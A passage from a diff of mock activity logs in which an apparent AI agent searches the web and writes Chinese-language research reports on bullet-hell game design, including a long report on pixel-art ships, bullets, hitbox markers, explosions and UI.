\"经典游戏例子\"中标注为\"常识\"的条目(如\"东方各作螺旋遍地\"\"雅雅…\"),来自模型通用知识,**没有在本轮调研中逐条核实**,读者如需引用请自行在对应游戏攻略中确认。\n- \"像素建议\"\"设计检查表\"\"落地建议\"等小节为**基于上述来源的综合工程建议**(合理推断,非文献原文),置信度中上,请结合游戏实测调整。\n- 反弹弹(2.7)在东方系纵版弹幕中近乎缺席是**常识判断**;调研资料中未找到专门文献,如要使用建议先做原型验证。\n\n---\n\n## 附录 A:参考链接汇总\n\n- https://note.com/npaka/n/n5d38b7d84173?hl=en (15 种弹幕模式)\n- https://sparen.github.io/ph3tutorials/ddsga2.html / ddsga3.html (弹幕设计工作室指南)\n- https://dmk.bagoum.com/docs/articles/t06.html (Danmokou 运动函数哲学)\n- https://zh.wikipedia.org/zh-hans/符卡 (符卡系统)\n- https://touhou8.thwiki.cc/index.php?edition-view-1281-1.html= (东方全弹型介绍与判定分析)\n- https://maribelhearn.com/faq/jargon (东方社区术语与子弹类型)\n- https://wiki.maribelhearn.com/wiki/Beginner_Guide (躲避策略入门:微/宏闪避、引弹、安全点)\n- https://www.slynyrd.com/blog/2020/12/14/pixelblog-31-shmup-sprite-design (像素弹幕设计)\n- https://www.gamedeveloper.com/design/video-game-boss-design-for-shmups (STG Boss 设计)\n- https://shmups.wiki/library/CAVE (CAVE 公司与其游戏)\n- https://www.timeextension.com/features/cave-story-the-history-of-donpachi-the-shmup-series-that-changed-everything (DonPachi 历史)\n- https://richardschupp.wordpress.com/tag/the-zen-of-the-shmup (Cave 弹幕风格对比)\n- https://www.forgottenworlds.net/bullet-hell-danmaku (Danmaku Unlimited 3 访谈)\n- https://github.com/nickschuetz/o3de-diorama/blob/main/Docs/howto/24-bullet-patterns.md (发射器实现与参数)\n- https://shmups.wiki/library/Boghog%27s_bullet_hell_shmup_101 (bullet hell 设计 101)\n- https://www.youtube.com/watch?v=ArZRZSYICLo (SHMUP Workshop 03 弹幕模式设计)\n- https://www.youtube.com/watch?v=zEPgFaIpa6o (Boss 设计 Week 25:螺旋/双螺旋实现)\n- https://www.youtube.com/watch?v=To5rOl6pn08 (Boss 战设计:攻击前摇、防龟缩)\n- https://tedlim-65557.medium.com/day-49-bullet-hell-pattern-2d-space-shooter-series-c91e4eccad7c (sin/cos 扇面数学)\n- https://www.summerengine.com/ai-bullet-hell-maker (判定点/聚焦/擦弹/密度调参)\n\n*报告完*"}, "ts": 1787459605774}, {"type": "progress", "id": "call_eea8998dbc584718a8560e5d", "tool": "run_command", "status": "running", "args": {"command": "ls -la /Users/demo/starraid/research/bullet_patterns/ && echo \"---\" && wc -l /Users/demo/starraid/research/bullet_patterns/bullet_pattern_research.md && echo \"---\" && head -20 /Users/demo/starraid/research/bullet_patterns/bullet_pattern_research.md", "timeout": 30}, "ts": 1787459610683}, {"type": "progress", "id": "call_eea8998dbc584718a8560e5d", "tool": "run_command", "status": "completed", "args": {"command": "ls -la /Users/demo/starraid/research/bullet_patterns/ && echo \"---\" && wc -l /Users/demo/starraid/research/bullet_patterns/bullet_pattern_research.md && echo \"---\" && head -20 /Users/demo/starraid/research/bullet_patterns/bullet_pattern_research.md", "timeout": 30}, "ts": 1787459610737}, {"type": "progress", "id": "call_5637635943d546359790678a", "tool": "read_file", "status": "running", "args": {"path": "research/bullet_patterns/bullet_pattern_research.md", "type": "search", "query": "雅雅"}, "ts": 1787459614924}, {"type": "progress", "id": "call_5637635943d546359790678a", "tool": "read_file", "status": "completed", "args": {"path": "research/bullet_patterns/bullet_pattern_research.md", "type": "search", "query": "雅雅"}, "ts": 1787459614929}, {"type": "progress", "id": "call_19b6b3039b6f452b9b75ab59", "tool": "edit_file", "status": "running", "args": {"file_path": "research/bullet_patterns/bullet_pattern_research.md", "replacements": [{"old_string": "\"经典游戏例子\"中标注为\"常识\"的条目(如\"东方各作螺旋遍地\"\"雅雅…\"),来自模型通用知识,**没有在本轮调研中逐条核实**,读者如需引用请自行在对应游戏攻略中确认。", "new_string": "\"经典游戏例子\"中标注为\"常识\"的条目(例如\"东方各作螺旋遍地\"\"芙兰朵露星弧破碎\"等),来自模型通用知识,**没有在本轮调研中逐条核实**,读者如需引用请自行在对应游戏攻略中确认。"}]}, "ts": 1787459618982}, {"type": "progress", "id": "call_19b6b3039b6f452b9b75ab59", "tool": "edit_file", "status": "completed", "args": {"file_path": "research/bullet_patterns/bullet_pattern_research.md", "replacements": [{"old_string": "\"经典游戏例子\"中标注为\"常识\"的条目(如\"东方各作螺旋遍地\"\"雅雅…\"),来自模型通用知识,**没有在本轮调研中逐条核实**,读者如需引用请自行在对应游戏攻略中确认。", "new_string": "\"经典游戏例子\"中标注为\"常识\"的条目(例如\"东方各作螺旋遍地\"\"芙兰朵露星弧破碎\"等),来自模型通用知识,**没有在本轮调研中逐条核实**,读者如需引用请自行在对应游戏攻略中确认。"}]}, "ts": 1787459619034}, {"type": "progress", "id": "call_881806772c334794ba09e781", "tool": "todo_update_task", "status": "running", "args": {"completed": true, "task_indices": [5]}, "ts": 1787459622283}, {"type": "progress", "id": "call_881806772c334794ba09e781", "tool": "todo_update_task", "status": "completed", "args": {"completed": true, "task_indices": [5]}, "ts": 1787459622284}]}} \ No newline at end of file diff --git a/website-design/exp/mock/activity-sub_3_1787459393_3da5a5.json b/website-design/exp/mock/activity-sub_3_1787459393_3da5a5.json new file mode 100644 index 00000000..2f3e8094 --- /dev/null +++ b/website-design/exp/mock/activity-sub_3_1787459393_3da5a5.json @@ -0,0 +1 @@ +{"success": true, "data": {"status": "completed", "entries": [{"type": "progress", "id": "call_b08fe4a4a2474a97b1c4bdea", "tool": "search_project_memory", "status": "running", "args": {"keywords": ["弹幕游戏", "pixel art", "STG", "bullet hell", "美术"]}, "ts": 1787459397527}, {"type": "progress", "id": "call_b08fe4a4a2474a97b1c4bdea", "tool": "search_project_memory", "status": "completed", "args": {"keywords": ["弹幕游戏", "pixel art", "STG", "bullet hell", "美术"]}, "ts": 1787459397529}, {"type": "progress", "id": "call_747c31abf4ca4df594277573", "tool": "web_search", "status": "running", "args": {"query": "pixel art shmup sprites player ship design", "max_results": 6}, "ts": 1787459397530}, {"type": "progress", "id": "call_747c31abf4ca4df594277573", "tool": "web_search", "status": "completed", "args": {"query": "pixel art shmup sprites player ship design", "max_results": 6}, "ts": 1787459402207}, {"type": "progress", "id": "call_615703da5d0c4315ad02ba18", "tool": "web_search", "status": "running", "args": {"query": "bullet hell pixel art assets free itch.io", "max_results": 6}, "ts": 1787459402210}, {"type": "progress", "id": "call_615703da5d0c4315ad02ba18", "tool": "web_search", "status": "completed", "args": {"query": "bullet hell pixel art assets free itch.io", "max_results": 6}, "ts": 1787459406627}, {"type": "progress", "id": "call_1e0e1623496741728558dfaf", "tool": "todo_create", "status": "running", "args": {"overview": "调研像素风格弹幕游戏美术设计并输出结构化报告", "tasks": [{"title": "检索自机设计(SLYNYRD教程、东方Project风格、hitbox)"}, {"title": "检索敌方单位与Boss设计(杂兵/预警机制)"}, {"title": "检索子弹像素美术(尺寸/颜色/动画帧/清晰度)"}, {"title": "检索特效与UI(爆炸/道具/得分/HUD)"}, {"title": "搜集itch.io免费素材与参考资源链接"}, {"title": "整理撰写 pixel_art_research.md 并保存到交付目录"}]}, "ts": 1787459412703}, {"type": "progress", "id": "call_1e0e1623496741728558dfaf", "tool": "todo_create", "status": "completed", "args": {"overview": "调研像素风格弹幕游戏美术设计并输出结构化报告", "tasks": [{"title": "检索自机设计(SLYNYRD教程、东方Project风格、hitbox)"}, {"title": "检索敌方单位与Boss设计(杂兵/预警机制)"}, {"title": "检索子弹像素美术(尺寸/颜色/动画帧/清晰度)"}, {"title": "检索特效与UI(爆炸/道具/得分/HUD)"}, {"title": "搜集itch.io免费素材与参考资源链接"}, {"title": "整理撰写 pixel_art_research.md 并保存到交付目录"}]}, "ts": 1787459412703}, {"type": "progress", "id": "call_c1143ba8dad5409dafe433d3", "tool": "extract_webpage", "status": "running", "args": {"mode": "read", "url": "https://www.slynyrd.com/blog/2020/12/14/pixelblog-31-shmup-sprite-design"}, "ts": 1787459412705}, {"type": "progress", "id": "call_c1143ba8dad5409dafe433d3", "tool": "extract_webpage", "status": "completed", "args": {"mode": "read", "url": "https://www.slynyrd.com/blog/2020/12/14/pixelblog-31-shmup-sprite-design"}, "ts": 1787459414348}, {"type": "progress", "id": "call_dcd1dd831137414bba69e3a9", "tool": "web_search", "status": "running", "args": {"max_results": 6, "query": "Touhou Project sprite style analysis pixel art zun danmaku"}, "ts": 1787459414351}, {"type": "progress", "id": "call_dcd1dd831137414bba69e3a9", "tool": "web_search", "status": "completed", "args": {"max_results": 6, "query": "Touhou Project sprite style analysis pixel art zun danmaku"}, "ts": 1787459417642}, {"type": "progress", "id": "call_eb1986397a8c42ac9fa71251", "tool": "web_search", "status": "running", "args": {"max_results": 6, "query": "Touhou in-game 16x16 sprites hitbox visible dot small design"}, "ts": 1787459421142}, {"type": "progress", "id": "call_eb1986397a8c42ac9fa71251", "tool": "web_search", "status": "completed", "args": {"max_results": 6, "query": "Touhou in-game 16x16 sprites hitbox visible dot small design"}, "ts": 1787459426483}, {"type": "progress", "id": "call_4b8565bb8a2f4a11b16b0fad", "tool": "web_search", "status": "running", "args": {"max_results": 6, "query": "danmaku bullet sprite sheet 16x16 pixel art animation rotation"}, "ts": 1787459426489}, {"type": "progress", "id": "call_4b8565bb8a2f4a11b16b0fad", "tool": "web_search", "status": "completed", "args": {"max_results": 6, "query": "danmaku bullet sprite sheet 16x16 pixel art animation rotation"}, "ts": 1787459431129}, {"type": "progress", "id": "call_93762d695977408f8a1956a7", "tool": "web_search", "status": "running", "args": {"max_results": 6, "query": "pixel art explosion animation tutorial frames effect"}, "ts": 1787459431133}, {"type": "progress", "id": "call_93762d695977408f8a1956a7", "tool": "web_search", "status": "completed", "args": {"max_results": 6, "query": "pixel art explosion animation tutorial frames effect"}, "ts": 1787459436810}, {"type": "progress", "id": "call_139d39cdc36f44c3b840e652", "tool": "extract_webpage", "status": "running", "args": {"mode": "read", "url": "https://en.touhouwiki.net/wiki/Hitbox"}, "ts": 1787459439966}, {"type": "progress", "id": "call_139d39cdc36f44c3b840e652", "tool": "extract_webpage", "status": "completed", "args": {"mode": "read", "url": "https://en.touhouwiki.net/wiki/Hitbox"}, "ts": 1787459441682}, {"type": "progress", "id": "call_26baab082ad34188b2dc0d98", "tool": "web_search", "status": "running", "args": {"max_results": 6, "query": "shmup boss design pixel art patterns tell telegraph visual warning"}, "ts": 1787459441689}, {"type": "progress", "id": "call_26baab082ad34188b2dc0d98", "tool": "web_search", "status": "completed", "args": {"max_results": 6, "query": "shmup boss design pixel art patterns tell telegraph visual warning"}, "ts": 1787459446767}, {"type": "progress", "id": "call_4caf93adbb314c2da6c58490", "tool": "web_search", "status": "running", "args": {"max_results": 6, "query": "pixel art game HUD UI design shmup score lives bomb display"}, "ts": 1787459446769}, {"type": "progress", "id": "call_4caf93adbb314c2da6c58490", "tool": "web_search", "status": "completed", "args": {"max_results": 6, "query": "pixel art game HUD UI design shmup score lives bomb display"}, "ts": 1787459452095}, {"type": "progress", "id": "call_35a983537a144b468ca2f666", "tool": "extract_webpage", "status": "running", "args": {"mode": "read", "url": "https://www.slynyrd.com/blog/2021/2/15/pixelblog-32-shmup-design-part-2"}, "ts": 1787459456306}, {"type": "progress", "id": "call_35a983537a144b468ca2f666", "tool": "extract_webpage", "status": "completed", "args": {"mode": "read", "url": "https://www.slynyrd.com/blog/2021/2/15/pixelblog-32-shmup-design-part-2"}, "ts": 1787459457958}, {"type": "progress", "id": "call_89d3ec2b6f764b3cbad48bca", "tool": "web_search", "status": "running", "args": {"max_results": 6, "query": "东方Project 像素风格 游戏 自机 精灵图 弹幕 设计"}, "ts": 1787459457960}, {"type": "progress", "id": "call_89d3ec2b6f764b3cbad48bca", "tool": "web_search", "status": "completed", "args": {"max_results": 6, "query": "东方Project 像素风格 游戏 自机 精灵图 弹幕 设计"}, "ts": 1787459463758}, {"type": "progress", "id": "call_d2e21b337ac74b529ef3b181", "tool": "web_search", "status": "running", "args": {"max_results": 6, "query": "Touhou bullet types tama oval kunai star colored bullets meaning"}, "ts": 1787459463762}, {"type": "progress", "id": "call_d2e21b337ac74b529ef3b181", "tool": "web_search", "status": "completed", "args": {"max_results": 6, "query": "Touhou bullet types tama oval kunai star colored bullets meaning"}, "ts": 1787459466840}, {"type": "progress", "id": "call_544de626311a491f985a1fcf", "tool": "web_search", "status": "running", "args": {"max_results": 6, "query": "opengameart shmup spaceship pixel art free bullet pack"}, "ts": 1787459472466}, {"type": "progress", "id": "call_544de626311a491f985a1fcf", "tool": "web_search", "status": "completed", "args": {"max_results": 6, "query": "opengameart shmup spaceship pixel art free bullet pack"}, "ts": 1787459476880}, {"type": "progress", "id": "call_f0390ea6ecf944fd8eddae15", "tool": "web_search", "status": "running", "args": {"max_results": 6, "query": "danmaku bullet visual clarity design rules distinct colors avoid confusion"}, "ts": 1787459476887}, {"type": "progress", "id": "call_f0390ea6ecf944fd8eddae15", "tool": "web_search", "status": "completed", "args": {"max_results": 6, "query": "danmaku bullet visual clarity design rules distinct colors avoid confusion"}, "ts": 1787459483181}, {"type": "progress", "id": "call_06ffce7189754967aae13512", "tool": "extract_webpage", "status": "running", "args": {"mode": "read", "url": "https://void-dancer.itch.io/danmaku-sprite"}, "ts": 1787459483189}, {"type": "progress", "id": "call_06ffce7189754967aae13512", "tool": "extract_webpage", "status": "completed", "args": {"mode": "read", "url": "https://void-dancer.itch.io/danmaku-sprite"}, "ts": 1787459484550}, {"type": "progress", "id": "call_fd35ab3b52864ab78c03b2ca", "tool": "extract_webpage", "status": "running", "args": {"mode": "read", "url": "https://shmups.wiki/library/Boghog%27s_bullet_hell_shmup_101"}, "ts": 1787459487972}, {"type": "progress", "id": "call_fd35ab3b52864ab78c03b2ca", "tool": "extract_webpage", "status": "completed", "args": {"mode": "read", "url": "https://shmups.wiki/library/Boghog%27s_bullet_hell_shmup_101"}, "ts": 1787459489897}, {"type": "progress", "id": "call_5d5e27cf45a84b60a39e9e74", "tool": "run_command", "status": "running", "args": {"command": "mkdir -p /Users/demo/starraid/research/pixel_art_style && ls -la /Users/demo/starraid/research/", "timeout": 30}, "ts": 1787459489905}, {"type": "progress", "id": "call_5d5e27cf45a84b60a39e9e74", "tool": "run_command", "status": "completed", "args": {"command": "mkdir -p /Users/demo/starraid/research/pixel_art_style && ls -la /Users/demo/starraid/research/", "timeout": 30}, "ts": 1787459489960}, {"type": "progress", "id": "call_eb835147dad04830a66bf3a0", "tool": "todo_update_task", "status": "running", "args": {"completed": true, "task_indices": [1, 2, 3, 4, 5]}, "ts": 1787459493313}, {"type": "progress", "id": "call_eb835147dad04830a66bf3a0", "tool": "todo_update_task", "status": "completed", "args": {"completed": true, "task_indices": [1, 2, 3, 4, 5]}, "ts": 1787459493314}, {"type": "progress", "id": "call_d50cb731e612477f9e864c00", "tool": "write_file", "status": "running", "args": {"file_path": "research/pixel_art_style/pixel_art_research.md", "content": "# 像素风格弹幕射击游戏(Bullet Hell / STG)美术设计调研报告\n\n> 调研时间:2026-08-23\n> 调研范围:玩家自机设计、敌方单位设计、子弹/弹幕像素美术、特效与 UI、免费素材与参考资源\n> 主要信息来源:SLYNYRD(Pixelblog 31/32)、Shmups Wiki「Boghog's bullet hell shmup 101」、Touhou Wiki、Sparen's Danmaku Design Studio、itch.io / OpenGameArt 素材库、(注:详见文末「信息来源与可信度」说明)\n\n---\n\n## 0. 摘要与总体结论\n\n- **弹幕游戏(Danmaku)的美术核心不是\"好看\",而是\"可读性(Readability)\"**:在屏幕同时存在数百颗子弹、多个敌人、粒子特效与道具时,玩家必须能在一瞬间分辨\"哪些是威胁、往哪里躲\"。所有美术决策都应服务于这一目标。\n- **色彩价值(Value)分层是清晰度的关键**:背景用低对比中间调,子弹用小面积高亮+暗色描边(亮暗相邻),玩家子弹、敌方子弹、道具、爆炸用不同明度层级区分。\n- **尺寸基准很重要**:16:9 屏幕下 SLYNYRD 建议 320×180 ~ 640×360 逻辑分辨率;自机相对屏幕的比例决定难度与手感。弹幕游戏常用低分辨率(如 480×270)让像素感更强烈、单位像素信息更少、制作更快。\n- **判定框(Hitbox)视觉提示**是东方式弹幕的标配:低速(聚焦)模式下显示一个小点或小圈,明确告诉玩家\"真正会中弹的位置\",与自机精灵大小形成强烈对比。\n- **免费素材足够支撑原型开发**:itch.io 与 OpenGameArt 上有大量免费像素 STG 素材(自机、敌机、子弹、爆炸、UI),落地阶段可先采购/复用,再逐步原创替换。\n\n---\n\n## 1. 玩家飞船 / 角色设计\n\n### 1.1 分辨率与屏幕尺寸基准(先定画布再画图)\n\n- SLYNYRD(Raymond Schlitter,Thyrian Defenders 作者)建议:16:9 屏幕下,**逻辑分辨率黄金区间为 320×180 ~ 640×360**;其教程以 **480×270** 为目标。\n- 分辨率越低像素越\"块\",像素味越浓、绘制耗时越少;但分辨率过高会失去像素艺术的\"集群可读性(reading intention within clusters)\"。\n- **自机相对屏幕的比例是决定玩法的关键因素**:屏幕越大、自机越小 → 适合高速、多元素同屏的弹幕玩法;自机占屏比越大 → 可容纳的物体越少、玩家反应时间越短(难度体验完全不同)。\n- 常见像素倍率:逻辑分辨率 320×180 / 480×270,放大 2~4 倍整数倍显示,避免像素走样。\n\n**建议(本项目)**:采用 480×270 或 320×180 逻辑分辨率;自机精灵建议 16×16(低配小自机)或 24×24 / 32×32(更有性格);弹幕量较大的话自机宜偏小。\n\n### 1.2 经典像素 STG 自机设计要点(大小、配色、识别度)\n\n综合 SLYNYRD 教程与 Boghog 指南:\n\n- **简洁+独特**:设计越复杂,动画越难做。建议在机翼加条纹(striping)增加性格,同时强调滚转(roll)的深度感。\n- **倾斜/滚转动画**:至少 左/右 + 居中 三帧;SLYNYRD 推荐每侧 **2 帧不同滚转度**(共 5 帧),配合侧向光源,左右移动更平滑(支持模拟输入时可分档滚转)。\n- **尾焰/推进器动画(thruster animation)是必须**:让飞船\"活着\"的关键,通常 2~4 帧。\n- **光源方向全场景统一**:所有精灵与背景使用同一方向光源,才能保持\"飞行\"的立体幻觉。\n- **识别度三要素**:① 与背景/敌方单位的明度层级区分;② 自机弹幕流要\"厚、快、密\"——玩家在紧张的弹幕环境中主要靠弹幕流+轮廓+微光来估算自机位置(Boghog);③ 判定中心可加视觉强调(见 1.5)。\n- **移动手感与视觉配合**:滚转动画速度应匹配移动速度;无惯性移动(Boghog 强烈建议避免移动惯性),若感觉移动\"不流畅\"多半是视觉问题而非参数问题——加残影(afterimage)、尾迹(trail)可显著改善跟手感。\n\n### 1.3 东方Project 系列的角色精灵风格\n\n(说明:以下为对 ZUN 官方游戏内精灵风格的既有认知 + 社区资料的归纳,非实时官方文档。)\n\n- 东方系列正作均为**纵轴弹幕射击**,自机/敌机使用**低分辨率角色小精灵**(PC-98 时代为 16×16 级;Windows 时代精灵更精细但整体仍是\"小尺寸、高识别度\"路线)。\n- 精灵风格特点:**大胆的色块、平涂/少渐变、深色描边**;角色通过发型、发色、服装主色快速辨识(如博丽灵梦的红白、雾雨魔理沙的黑白)。\n- **判定点文化**:按住 Shift 进入低速模式时,自机身上显示一个**小点/小圈标记判定点**(见 1.5),这是东方体系对弹幕公平性的核心贡献,被大量同类游戏沿用。\n- 弹幕本体是同人圈大量复刻的视觉语言:圆弹(tama)、椭圆弹、苦无(kunai)、星弹、音符、护符(amulet)等,见第 3 节。\n- 参考手绘同人/教程中常被提到的 ZUN 风格要点:面部与发型保持多年一致;早期(PC-98)更简朴,色块平涂、用色大胆;Windows 期精灵颜色细节更多但仍保持低饱和背景衬托高饱和子弹的做法。\n\n### 1.4 像素飞船设计要点(落地 Checklist)\n\n| 项目 | 建议 |\n|---|---|\n| 尺寸 | 16×16(极简)/ 24×24 / 32×32(推荐起步) |\n| 帧数 | 居中 1 帧 + 左右滚转各 1~2 帧 = 3~5 帧;尾焰 2~4 帧 |\n| 调色板 | 4~8 色以内/精灵:主色 1~2、辅色/描边 1~2、高光 1、尾焰橙黄 2~3 |\n| 描边 | 深色(近黑)描边,与\"用白色描边的敌方子弹\"形成体系区分 |\n| 轮廓 | 剪影可读性优先,避免细节糊成一片;从剪影草图开始 |\n| 判定中心 | 建议在自机中心下方(东方系在腰部)标 1~2px 亮点 |\n\n### 1.5 判定框(Hitbox)视觉提示设计\n\n- **机制背景**:东方系列中自机碰撞通常用一个**远小于精灵的小圆(约数像素半径)**判定(源自 Touhou Wiki「Hit box」条目:Hitbox 是角色腰部附近的一个小圆,聚焦时可显示)。\n- **视觉提示做法(主流方案)**:\n 1. **低速/聚焦模式才显示**:按住 Shift(低速)时显示一个半透明小圆圈/小点;普通模式不显示(避免干扰)。\n 2. 提示图形建议:**空心圆 + 中心实点**,对比色(如白/亮色配深色描边),随聚焦模式**轻微旋转/脉动**增加存在感(红魔乡社区的 d3d8.dll hitbox 补丁即模拟这种\"旋转+透明度变化\"行为)。\n 3. 判定圈大小应**可配置**(不同自机可不同),提示圈与真实判定圈完全同心、直径一致。\n- **视觉之外的判定公平性**:Boghog 建议——玩家子弹给\"大判定\"、敌人给\"大受击判\"(补偿微操作失误);玩家命中应\"慷慨\"(覆盖贴合情况),才不会有挫败感。\n\n---\n\n## 2. 敌方单位设计\n\n### 2.1 杂兵(Enemy Grunts)的像素设计\n\n- **同一阵营视觉统一+个体差异**:SLYNYRD 强调\"一组单位共享视觉一致性(形态语言、配色体系),又通过形状与颜色彼此区分\"。\n- **角色定位决定美术**:按\"速度 / 血量 / 体型 / 几何弹道 / 颜色\"五要素设计(SLYNYRD):\n - **Popcorn(一发即死的小怪)**:体积小、快、成群出现,是为了制造\"动作感\"而非威胁;血量只要够\"打完这一局\"即可,不要虚高(Boghog)。\n - 快怪 ↔ 低血量+弱弹;慢怪 ↔ 高血量+强火力,尺寸跨度要大。\n- **做 hit 反馈**:受击要闪烁/粒子/抖动,配轻量音效,否则敌人像\"虚影\"(Boghog)。\n- **大判定+可预测移动**:弹幕游戏的挑战来自弹幕而非躲闪敌人本体,所以敌人受击判定要大、移动要慢且可预测(Boghog)。\n- **尺寸参考**:杂兵 16×16 ~ 24×24;中 Boss(miniboss)32×32~48×48;帧数 2~4 帧(多帧震动/开火动画)。\n\n### 2.2 Boss 的体型与细节层次\n\n- **体型梯度**:Boss 应显著大于杂兵(如 48×48、64×64 甚至 96×96),\"越大杀起来越爽\"(SLYNYRD),但不要大到遮挡弹幕视野。\n- **细节层次**:Boss 可以有更多层细节(多层装甲、发光炮口、悬浮部件/浮游炮),但**核心剪影仍需在弹幕中一眼可读**;建议给 Boss 的主炮口、弱点做高亮标记。\n- **Boss 血条分段**:许多 STG 用可视化的 Boss 血条分段(每段切换一个攻击模式),例如 Gamedeveloper 文章提到\"视觉上将 Boss 血条分段以显示本段攻击何时结束\"。\n- **Boss 出场仪式**:Boss 出现前要有\"警告留白\"(玩家无事可做、专注看字幕/警告),用于聚集注意力(Anatomy of a Shmup)。\n- **Boss 爆炸要\"壮观\"**:屏幕级闪光 + 大爆炸动画 + 碎片四散(见 4.1)。\n\n### 2.3 敌方攻击前的视觉预警(Telegraph)\n\n- **蓄力动画**:炮口发光→聚集→发射,是通用预警语言;用 2~4 帧\"粒子向炮口汇聚/炮口颜色渐亮\"表达。\n- **颜色变化**:攻击前单位变色(如变红/变亮)提示即将开火。\n- **激光预警**:东方系激光常见\"先显示一条细亮线(约半秒)再出现命中判定\",是纯粹靠视觉(而非判定)预告的典型做法(社区对永夜抄等作品的解读)。\n- **模式分阶段呈现**:Boss 战先出简单版弹幕→每次重复更快更密更狠(Bullet Pattern Design 教程),玩家靠\"渐进式预告\"进入节奏。\n- **背景预告**:关卡背景用\"地标/视觉节奏\"给玩家读版记忆的锚点(SLYNYRD Part 2)——背景不只是装饰,是记忆关卡的工具。\n- **弹幕扇面/轨迹预告**:可弯曲、可追踪的弹幕建议加尾迹或拉长精灵,让轨迹可读(Boghog)。\n\n---\n\n## 3. 子弹 / 弹幕的像素美术\n\n### 3.1 常见像素子弹样式与尺寸\n\n**东方/弹幕体系常用子弹类型命名**(Touhou Community Jargon、Danmakufu 文档):球(Ball)、椭圆弹、苦无(Kunai)、护符(Amulet)、星弹(Star 大/小)、音符(Note)、米粒/细菌弹、冰锥/碎片(Shard/Icicle)、箭头(Arrow)、火球、心形、花瓣、蝴蝶等。\n\n| 子弹类型 | 常见尺寸 | 形态与用途 |\n|---|---|---|\n| 小圆弹(Pellet/Tama) | 8×8 ~ 12×12 | 基础弹,最密集,靠数量形成弹幕 |\n| 中圆弹(Ball) | 16×16 | 通用主力弹,清晰可读 |\n| 椭圆弹(Oval) | 16×20 左右 | 带方向感/旋转感,常用于弯曲弹道 |\n| 苦无/箭形/导向弹(Directed) | 16×32 左右 | **方向性最重要**:图形应随移动方向旋转(SLYNYRD Part 2:箭头形追踪弹必须朝向运动方向) |\n| 大弹/特殊弹 | 24×24 / 32×32 | Boss 特殊弹、高伤弹 |\n| 激光(Laser) | 宽 4~16、长任意 | 预热细线→粗化→判定 |\n\n### 3.2 子弹颜色与类型的对应关系\n\n- **Danmakufu 官方 8 色**:RED、GREEN、BLUE、YELLOW、PURPLE、AQUA、ORANGE、WHITE——可作为色板起点,且激光与子弹共用这 8 色图形。\n- **颜色编码用途(Note 上\"15 个美丽弹幕\"文章 + Boghog)**:\n - 用颜色区分\"快弹 / 慢弹 / 装饰弹\"等**危险等级**,玩家读色即知威胁;\n - 颜色同时用于表达\"瞄准玩家的弹(aimed)\"与\"固定弹(static)\"等行为差异(各 STG 有自己约定,需在游戏内自学);\n - **红/粉/紫系是弹幕圈事实标准**:与常见特效颜色(黄橙爆炸、金色道具)冲突最少,不易混淆(Boghog 明确指出黄/橙传统弹容易与爆炸和金色道具撞色)。\n- **子弹颜色与发射单位颜色匹配**(SLYNYRD):敌方单位与它发射的子弹同色系,建立\"谁打的\"直觉。\n- **我方子弹用另一色系**(如青/绿白),与敌方红/粉/紫建立对战双方色系对立。\n\n### 3.3 子弹的动画帧设计(旋转、闪烁、脉动)\n\n- **闪烁(Flashing)**:双帧交替即可,对比越强越\"危险\",但对比过强高速移动时反而难追踪(SLYNYRD);常用于\"即将消失/即将命中\"状态。\n- **旋转(Rotation)**:星形、方形、椭圆可用 4~8 帧旋转;椭圆可做 Z 轴\"翻转\"来模拟 3D 感。\n- **脉动(Pulse)**:轻微膨胀-收缩,任何形状都适用,让子弹\"活着\"。\n- **波动/涟漪(Wobble/Ripple)**:CAVE(虫姬/怒首领蜂)子弹常用抖动+涟漪动画,作用是**抓住眼球并给每颗子弹独特身份**(Boghog)。\n- **动画帧数建议**:2D 旋转 4 帧(90°步进)起步、精细 8 帧;脉动 2~4 帧;闪烁 2 帧。帧率 12~15 FPS 贴合像素风。\n- **拖尾(Trail)**:轨迹不寻常(弯曲/追踪)的子弹加尾迹,帮助玩家预判(Boghog)。\n\n### 3.4 大量弹幕同屏时的视觉清晰度处理(核心)\n\n- **价值(Value)分层**:将图像转黑白即可检查——子弹应\"亮部+暗部紧挨\"(发光核心紧贴深色描边/内圈),最大化明度对比;背景用**低对比中间调**,让子弹可以用极值明度自由突出(Boghog)。\n- **描边(Outline)体系**:**敌方子弹用白色/亮色描边**(或亮+暗双描边),其他精灵用深色描边,从体系上把\"威胁\"和\"物体\"分开(SLYNYRD)。\n- **分块/分组(Chunking)**:把子弹编成线/环/簇等可读图案,让玩家读\"组合\"而非单颗;**单颗游离子弹最难读,容易显得不公平**(Boghog)。\n- **深度排序(Depth Sorting)**:敌方子弹永远绘制在自机、我方子弹、道具、爆炸之上;**小且快的子弹绘制在更大更慢的子弹之上**;单颗/小组绘制在大块之上(Boghog)。\n- **留隙(Design gaps)**:弹幕模式要\"设计缝隙\"——玩家能看见逃生路就公平,光炫但读不出路就让人感到不公平(note 文章)。\n- **限制换色**:单屏同时出现的弹色建议控制在 2~3 种(Boghog 风格惯例),避免信息过载。\n- **背景配合**:背景刻意保持暗/中调+低饱和,就是给子弹让出可读空间。\n\n---\n\n## 4. 特效与 UI\n\n### 4.1 爆炸特效的像素动画(SLYNYRD 方法)\n\n- **制作流程**:先用\"圆→扩张变细环\"的几何引导确定整体尺寸与扩张速率 → 把圆转成有机火焰团块 → 调团块运动。\n- **物理真实感原则**:热气先快后慢(热膨胀快、冷却变慢)→ 爆炸**先迅速扩张、后缓慢消散**。\n- **颜色演变**:**白炽(最亮)→ 暖色(红橙黄)→ 灰烟**消散。\n- **形态演变**:团块从整体一致→随扩张分裂为多而复杂的小块;暗部逐渐侵入;最大扩张后缓慢上浮并化为烟。\n- **冲击波**:把引导环稍作修改即可成冲击波环。\n- **Boss 爆炸**:屏幕级闪光 + 多层大爆炸 + 碎片残留(Anatomy of a Shmup 强调\"一切被摧毁的都应爆炸,Boss 阵亡必须是一场辉煌的灯光秀\")。\n- **尺寸建议**:爆炸精灵显著大于被摧毁单位(如单位 16×16 → 爆炸 24~48×24~48,8 帧左右);碎屑粒子 2~8 帧。\n\n### 4.2 拾取道具的视觉效果\n\n- **可读性优先**:道具必须一眼区别于\"威胁物\",形态独特 + **活跃的空闲动画**(idle animation)——旋转、漂浮、脉动、闪光都行(SLYNYRD Part 2)。\n- **经典道具色/形**:P(Power 火力,红色系)、S(Speed 速度)、Bomb(全屏雷)、1UP 生命、Heart 回血;建议固定配色约定(如红=火力、蓝=速度、金=得分)。\n- **分布与运动**:从特定敌人掉落 / 中立单位给予 / 随机入场;下落时做左右漂移、反弹、摇摆等\"伸手去接也有意思\"的运动。\n- **收集反馈**:拾取瞬间应有闪光+粒子+音效+分数飘字(详见 4.3)。\n- **点收集(Point of 